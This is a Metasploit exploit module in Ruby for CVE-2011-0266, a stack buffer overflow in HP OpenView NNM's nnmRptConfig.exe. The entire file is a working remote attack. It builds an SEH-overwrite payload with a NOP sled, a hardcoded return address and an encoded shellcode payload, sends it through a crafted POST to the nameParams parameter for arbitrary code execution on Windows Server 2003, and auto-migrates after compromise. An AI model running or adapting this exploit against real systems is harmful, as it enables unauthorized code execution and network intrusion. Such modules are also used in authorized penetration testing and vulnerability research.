HP OpenView NNM nnmRptConfig nameParams Buffer Overflow



##

# $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Seh

    def initialize(info={})
        super(update_info(info,
            'Name'        => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
            'Description' => %q{
                This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
                A remote user can send a long string data to the nameParams parameter via
                a POST request, which causes an overflow on the stack when function
                ov.sprintf_new() is used, and gain arbitrary code execution.'
            },
            'License'      => MSF_LICENSE,
            'Version'      => "$Revision: 12085 $",
            'Author'      =>
                [
                    'sinn3r',
                ],
            'References' =>
                [
                    ['CVE', '2011-0266'],
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
                ],
            'Payload'     =>
                {
                    'BadChars' => "\x00\x26\x2b",
                },
            'DefaultOptions' =>
                {
                    'ExitFunction' => "seh",
                    'AutoRunScript' => 'migrate -f',
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    ['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "JAN 10 2011"))

            register_options(
                [
                    Opt::RPORT(80),
                ], self.class)
    end

    def exploit

        nops = make_nops(1000)*70

        sploit  = nops[0, target['offset']]
        sploit << generate_seh_record(target.ret)
        sploit << "\x61"*target['Pops']
        sploit << "\x51"
        sploit << "\xc3"
        sploit << nops[0, target['Payloadoffset']]
        sploit << payload.encoded
        sploit << nops[0, 70000-sploit.length]

        data  = "Content&Action=Create&"
        data << "Template=Avail/CRAvail&"
        data << "Operation=Apply&"
        data << "Params=schdParams+nameParams"
        data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
        data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

        connect
        send_request_raw({
            'uri' => '/OvCgi/nnmRptConfig.exe',
            'data' => data,
            'version' => '1.1',
            'method' => 'POST',
            'headers' => {
                'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language' => 'en-us,en;q=0.5',
                'Accept-Encoding' => 'gzip,deflate',
                'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Keep-Alive' => '300',
                'Connection' => 'Keep-Alive',
                'Cache-Control' => 'max-age=0',
                'Content-Length' => data.length,
                'Content-Type' => 'application/x-www-form-urlencoded',
            }
        }, 3)

        handler
        disconnect

    end
end